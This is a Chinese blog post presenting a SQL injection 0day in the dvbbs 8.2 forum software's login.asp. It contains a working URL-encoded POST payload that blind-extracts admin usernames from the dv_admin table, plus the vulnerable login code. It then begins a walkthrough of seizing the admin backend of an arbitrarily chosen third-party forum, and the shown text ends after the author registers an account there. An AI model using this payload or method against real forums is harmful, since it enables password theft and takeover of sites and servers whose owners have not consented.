今日在学PHP的时候，一个朋友给我发来一个站，让帮忙做个安检，发现站有个论坛是dvbbs的，呵呵，这可是个漏洞不断的家伙啊。。
最新版本的又暴了远程SQL注入漏洞！
下面提供该漏洞的分析及利用！

【漏洞描述】中国应用最广泛的论坛程序，最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
【漏洞分析】Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号，导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。
【漏洞等级】高危
【代码分析】

password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271

Login.asp 代码片段

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Rem ==========论坛登录函数=========
Rem 判断用户登录
Function ChkUserLogin(username,password,mobile,usercookies,ctype)
Dim rsUser,article,userclass,titlepic
Dim userhidden,lastip,UserLastLogin
Dim GroupID,ClassSql,FoundGrade
Dim regname,iMyUserInfo
Dim sql,sqlstr,OLDuserhidden
FoundGrade=False
lastip=Dvbbs.UserTrueIP
userhidden=request.form("userhidden")
If userhidden <> "1" Then userhidden=2
ChkUserLogin=false
If mobile<>"" Then
sqlstr=" Passport='"&mobile&"'"
Else
sqlstr=" UserName='"&username&"'"
End If
Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,lastlogin as cometime , LastLogin as activetime,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday,UserMoney,UserTicket,FollowMsgID,Vip_StarTime,Vip_EndTime,userid as boardid"
Sql=Sql & " From [Dv_User] Where "&sqlstr&""
set rsUser=Dvbbs.Execute(sql)
If rsUser.eof and rsUser.bof Then
'strString("本论坛不存在该用户名.@@@@0")
ChkUserLogin=False
Exit Function
Else
If rsUser("Lockuser") =1 Or rsUser("UserGroupID") =5 Then
ChkUserLogin=False
Exit Function
Else
If Trim(password)=Trim(rsUser("UserPassword")) Then
ChkUserLogin=True
Dvbbs.UserID=RsUser("UserID")
RegName = RsUser("UserName")
Article= RsUser("UserPost")
UserLastLogin = RsUser("cometime")
UserClass = RsUser("Userclass")
GroupID = RsUser("userGroupID")
OLDuserhidden=RsUser("UserHidden")
TitlePic = RsUser("UserTitle")
If Article < 0 Then Article=0
Set Dvbbs.UserSession=Dvbbs.RecordsetToxml(rsUser,"userinfo","xml")
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@cometime").text=Now()
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@activetime").text=DateAdd("s",-3600,Now())
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@boardid").text=0
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo").attributes.setNamedItem(Dvbbs.UserSession.createNode(2,"isuserpermissionall","")).text=Dvbbs.FoundUserPermission_All()
If OLDuserhidden <> CLng(userhidden) Then
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@userhidden").text=userhidden
Dvbbs.Execute("update Dv_user set userhidden="&userhidden&" where UserId=" & Dvbbs.UserID)
End If
Dim BS
Set Bs=Dvbbs.GetBrowser()
Dvbbs.UserSession.documentElement.appendChild(Bs.documentElement)
If EnabledSession Then Session(Dvbbs.CacheName & "UserID")=Dvbbs.UserSession.xml
Else
If ajaxPro Then
strString("用户名或者密码不正确.@@@@0")
End If
ChkUserLogin=False
Exit Function
End If
End If
End If
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下面演示如何利用该漏洞拿下后台：

随便找了一个论坛https://www.webshell.cc/首先注册一个帐户“aking”然后访问其登陆页面